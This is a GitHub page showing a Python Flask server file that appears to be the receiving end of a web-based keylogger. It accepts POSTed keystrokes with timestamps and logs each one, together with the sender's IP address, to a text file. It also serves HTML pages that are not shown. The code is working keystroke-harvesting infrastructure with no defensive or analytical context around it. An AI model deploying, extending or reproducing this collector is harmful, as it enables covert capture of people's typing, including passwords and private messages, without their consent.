-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path__main__.py
52 lines (37 loc) · 1.3 KB
/
__main__.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, request, render_template
from flask_restful import Api, Resource
from flask_restful.reqparse import RequestParser
from datetime import datetime
import os
HOST_ADDR = os.getenv('LTK_HOST_ADDR') or '0.0.0.0'
HOST_PORT = int(os.getenv('LTK_HOST_PORT') or 5000)
LOGFILE = os.getenv('LTK_LOGFILE') or 'client-keylog.txt'
app = Flask(__name__)
api = Api(app)
post_args = RequestParser()
post_args.add_argument('key', type=str, help='The key to log.', required=True)
post_args.add_argument('time', type=float,
help='The timestamp at which the key was pressed.',
required=True)
def log_key(time, ip, key):
log = '[{}] - {} - {}'.format(time, ip, key)
with open(LOGFILE, 'a') as logfile:
logfile.write(log + '\n')
class KeylogHandler(Resource):
def post(self):
args = post_args.parse_args()
log_key(
datetime.fromtimestamp(args['time']).strftime(
'%m/%d/%Y %H:%M:%S.%f'),
request.environ['REMOTE_ADDR'],
args['key'],
)
api.add_resource(KeylogHandler, '/')
@app.route('/')
def root():
return render_template('index.html')
@app.route('/void')
def void():
return render_template('void.html')
if __name__ == '__main__':
app.run(HOST_ADDR, HOST_PORT)